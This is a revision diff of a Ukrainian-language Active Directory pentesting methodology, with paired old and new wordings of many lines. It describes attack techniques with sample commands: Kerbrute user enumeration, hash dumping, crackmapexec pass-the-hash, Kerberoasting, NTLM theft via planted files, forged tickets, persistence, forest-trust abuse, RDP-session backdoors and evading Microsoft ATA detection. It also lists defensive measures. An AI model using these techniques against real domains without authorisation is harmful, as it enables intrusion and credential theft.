Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, з'єднаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Конкретні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
Ключові концепції в **Active Directory** включають:
@ -18,11 +18,11 @@
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та зв'язку в межах мережі. Ці послуги включають:
1. **Domain Services** Централізує зберігання даних та управляє взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
1. **Domain Services** Централізує зберігання даних і керує взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
2. **Certificate Services** Контролює створення, розподіл та управління безпечними **цифровими сертифікатами**.
3. **Lightweight Directory Services** Підтримує програми, що використовують каталог, через **LDAP протокол**.
4. **Directory Federation Services** Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії.
5. **Rights Management** Допомагає захистити авторські матеріали, регулюючи їх несанкціонований розподіл та використання.
5. **Rights Management** Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання.
6. **DNS Service** Критично важливий для розв'язання **доменних імен**.
Для більш детального пояснення перегляньте: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
@ -68,7 +68,7 @@
- Доступ до хоста [**зловживаючи атакою реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Збирати облікові дані **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Витягувати імена користувачів/імен з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в середовищах домену, а також з публічно доступних джерел.
- Витягувати імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в середовищах домену, а також з публічно доступних джерел.
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції **імен користувачів AD** (**[читайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
- Інструменти:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
@ -77,7 +77,7 @@
### User enumeration
- **Anonymous SMB/LDAP enum:** Перевірте сторінки [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи код помилки **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -171,7 +171,7 @@ kerberos-double-hop-problem.md
Дуже легко отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" <DC IP>`
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Перейдіть за посиланнями (в основному на cmd, powershell, powerview і BloodHound), навчіться, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Перейдіть за посиланнями (в основному на cmd, powershell, powerview і BloodHound), дізнайтеся, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
### Kerberoast
@ -215,7 +215,7 @@ kerberoast.md
### Вкрасти NTLM креденціали
Якщо ви можете **доступитися до інших ПК або спільних ресурсів**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM challenge** для його зламу:
Якщо ви можете **доступитися до інших ПК або спільних ресурсів**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -235,8 +235,8 @@ printnightmare.md
### Витягування хешів
Сподіваюся, вам вдалося **компрометувати деякий локальний обліковий запис адміністратора**, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
Тепер час вивантажити всі хеші в пам'яті та локально.\
Сподіваюся, вам вдалося **компрометувати деякий локальний адміністратор** за допомогою [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
Тоді настав час вивантажити всі хеші в пам'яті та локально.\
[**Прочитайте цю сторінку про різні способи отримання хешів.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Зловживання MSSQL та Довірені Посилання
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **реле**.\
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довірчі відносини можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
**Зв'язки між базами даних працюють навіть через довіри лісу.**
{{#ref}}
@ -303,7 +303,7 @@ constrained-delegation.md
### Делегація на основі ресурсів
Маючи привілей **WRITE** на об'єкті Active Directory віддаленого комп'ютера, ви отримуєте можливість виконання коду з **підвищеними привілеями**:
Маючи привілей **WRITE** на об'єкт Active Directory віддаленого комп'ютера, можна отримати виконання коду з **підвищеними привілеями**:
{{#ref}}
resource-based-constrained-delegation.md
@ -317,7 +317,7 @@ resource-based-constrained-delegation.md
acl-persistence-abuse/
{{#endref}}
### Зловживання службою спулера принтерів
### Зловживання службою спулера принтера
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **ескалації привілеїв**.
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Зловживання сесіями третіх сторін
Якщо **інші користувачі** **доступають** до **скомпрометованої** машини, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видачі себе за них.\
Якщо **інші користувачі** **доступають** до **скомпрометованої** машини, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видавання себе за них.\
Зазвичай користувачі отримують доступ до системи через RDP, тому ось як виконати кілька атак на сесії RDP третіх сторін:
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим перемикання на інші комп'ютери.
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим переміщення до інших комп'ютерів.
{{#ref}}
laps.md
@ -368,7 +368,7 @@ ad-certificates/domain-escalation.md
[**Більше інформації про те, як вкрасти NTDS.dit можна знайти тут**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Привілеї як Постійність
### Privesc як Постійність
Деякі з технік, обговорених раніше, можуть бути використані для постійності.\
Наприклад, ви могли б:
@ -401,7 +401,7 @@ silver-ticket.md
### Золотий Квиток
**Атака Золотого Квитка** передбачає, що зловмисник отримує доступ до **NTLM хешу облікового запису krbtgt** в середовищі Active Directory (AD). Цей обліковий запис є особливим, оскільки використовується для підписання всіх **квитків на надання послуг (TGT)**, які є необхідними для аутентифікації в мережі AD.
Атака **Золотого Квитка** передбачає, що зловмисник отримує доступ до **NTLM хешу облікового запису krbtgt** в середовищі Active Directory (AD). Цей обліковий запис є особливим, оскільки використовується для підписання всіх **квитків на надання послуг (TGT)**, які є необхідними для аутентифікації в мережі AD.
Якщо зловмисник отримує цей хеш, він може створити **TGT** для будь-якого облікового запису, який вибере (атака Срібного Квитка).
@ -425,9 +425,9 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Постійність Сертифікатів у Домені**
### **Постійність Сертифікатів в Домені**
**Використання сертифікатів також можливе для підтримки високих привілеїв у домені:**
**Використання сертифікатів також можливе для збереження високих привілеїв у домені:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -457,7 +457,7 @@ acl-persistence-abuse/
### Описники Безпеки
**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** **об'єктом**. Якщо ви можете просто **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом, не будучи членом привілейованої групи.
{{#ref}}
security-descriptors.md
@ -491,7 +491,7 @@ dcshadow.md
### Постійність LAPS
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
Перевірте:
{{#ref}}
@ -504,16 +504,16 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
### Основна Інформація
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи безперешкодний потік перевірок аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають специфічні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, що дозволяє безперешкодно проходити перевірки аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT шифрується спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT зашифрований спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
**Кроки**:
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитків (TGT)** у свого **Контролера Домену (DC1)**.
2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований.
3. Клієнт потім запитує **квиток TGT між царствами** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
4. Квиток TGT між царствами шифрується за допомогою **ключа довіри**, спільного між DC1 та DC2 в рамках двосторонньої довіри домену.
4. Квиток TGT між царствами зашифрований **ключем довіри**, спільним між DC1 та DC2 в рамках двосторонньої довіри домену.
5. Клієнт приносить квиток TGT між царствами до **Контролера Домену 2 (DC2)**.
6. DC2 перевіряє квиток TGT між царствами, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Послуг (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
7. Нарешті, клієнт представляє цей TGS серверу, який зашифрований хешем облікового запису сервера, щоб отримати доступ до служби в Домені 2.
@ -529,7 +529,7 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть безперешкодно проходити між батьком і дитиною.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Зовнішні Довіри**: Вони встановлюються між різними, несвязаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну доменну назву та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну назву домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
@ -543,13 +543,13 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
1. **Перелічити** довірчі відносини
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або через членство в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
1. У цьому випадку kerberoast може бути ще одним варіантом.
3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами.
3. **Скомпрометувати** **облікові записи**, які можуть **переміщатися** між доменами.
Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми:
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, що надає їм значний контроль над цією машиною.
- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
### Ескалація Привілеїв Лісу від Дитини до Батька
```
@ -604,7 +604,7 @@ sid-history-injection.md
**Від DA до EA з ADCS ESC5**
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє автентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
У цьому сценарії **ваш домен довіряється** зовнішньому, що надає вам **невизначені дозволи** над ним. Вам потрібно буде з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати:
У цьому сценарії **ваш домен довіряє** зовнішньому, що надає вам **невизначені дозволи** над ним. Вам потрібно з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -639,16 +639,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити привілеї:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довірчих доменів (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, де **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може ввести код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ**, щоб увійти через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -682,11 +682,11 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Обмеження для адміністраторів домену**: Рекомендується, щоб адміністраторам домену дозволялося входити лише на контролери домену, уникаючи їх використання на інших хостах.
- **Привілеї облікових записів служб**: Служби не повинні працювати з привілеями адміністратора домену (DA) для підтримки безпеки.
- **Обмеження тимчасових привілеїв**: Для завдань, що вимагають привілеїв DA, їх тривалість повинна бути обмежена. Це можна досягти за допомогою: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Обмеження тривалості привілеїв**: Для завдань, що вимагають привілеїв DA, їх тривалість повинна бути обмежена. Це можна досягти за допомогою: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Впровадження технік обману**
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як Довірені для делегування. Детальний підхід включає створення користувачів з певними правами або додавання їх до груп з високими привілеями.
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як довірені для делегування. Детальний підхід включає створення користувачів з певними правами або додавання їх до груп з високими привілеями.
- Практичний приклад включає використання інструментів, таких як: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Більше про впровадження технік обману можна знайти на [Deploy-Deception на GitHub](https://github.com/samratashok/Deploy-Deception).
@ -700,7 +700,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Обхід виявлення Microsoft ATA**:
- **Перерахування користувачів**: Уникнення перерахування сесій на контролерах домену, щоб запобігти виявленню ATA.
- **Імітація квитків**: Використання **aes** ключів для створення квитків допомагає уникнути виявлення, не знижуючи до NTLM.
- **Атаки DCSync**: Рекомендується виконувати з не-контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
- **Атаки DCSync**: Рекомендується виконувати з не контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
## Посилання